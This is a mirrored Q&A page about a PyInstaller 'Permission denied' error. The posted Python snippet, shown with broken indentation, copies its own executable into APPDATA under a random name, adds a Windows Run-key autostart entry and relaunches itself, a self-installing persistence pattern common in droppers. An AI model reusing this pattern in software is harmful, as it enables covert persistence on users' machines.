简体   繁体   中英

python Pyinstaller IOError: [Errno 13] Permission denied

py2exe works good but pyinstaller make this errors

ERROR:utils:[Errno 13] Permission denied: 'C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe'

Traceback (most recent call last):

 File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\utils", line 94, in drop_check

  File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\shutil", line 88, in copy

 File "C:\Users\Philips\Desktop\filesync\filesyncbaaaaaaaaaaa\client\controll123\out00-PYZ.pyz\shutil", line 53, in copyfile


IOError: [Errno 13] Permission denied: 'C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe'

here is my code

    import os
import sys
from time import sleep
import random
import subprocess
import zipfile

from config import APPDATA

import shutil

import win32api, win32con
import _winreg
import logging





def register_startup(filename):
    try:
        key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0, _winreg.KEY_ALL_ACCESS)
        _winreg.SetValueEx(key, "KSSync",0, _winreg.REG_SZ, filename)
        return True
    except Exception, e:
        return False



            if not os.path.exists(APPDATA):
                os.makedirs(APPDATA)
            dest = os.path.join(APPDATA, "strong_%s.exe" % str(random.randrange(1000,9999)) )

            logger.debug("Copying %s to %s" % (sys.executable, dest) )
            shutil.copy(sys.executable, dest)
            logger.info("Installed %s to %s" % (sys.executable, dest))
            register_startup(dest)
            subprocess.Popen([dest, '--patience'])
            sys.exit(1)
            return True
            except Exception, e:
            logger.exception(e)
            return False

The call to register the file in startup These two function produce the error register_startup(dest) subprocess.Popen([dest, '--patience'])

Yes The file is present C:\\Documents and Settings\\Administrator\\Application Data\\khan\\controll123.exe

seems the double back sash are REASON ?

Met this problem just now,
Solved by running the cmd with admin mode.

I encountered a similar problem when using pyinstaller, even running cmd as administrator didn't work (personal laptop). What work for me was:

  1. check if current user has access to C:\\Program Files\\WindowsApps (shouldn't have)
  2. follow these steps: https://superuser.com/questions/498774/how-to-get-access-to-c-program-files-windowsapps (answered by Matthew wong) to add whoami
  3. I restarted my laptop, launch cmd in administrator mode, cd to the correct directory and was able to get pyinstaller --onefile working

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM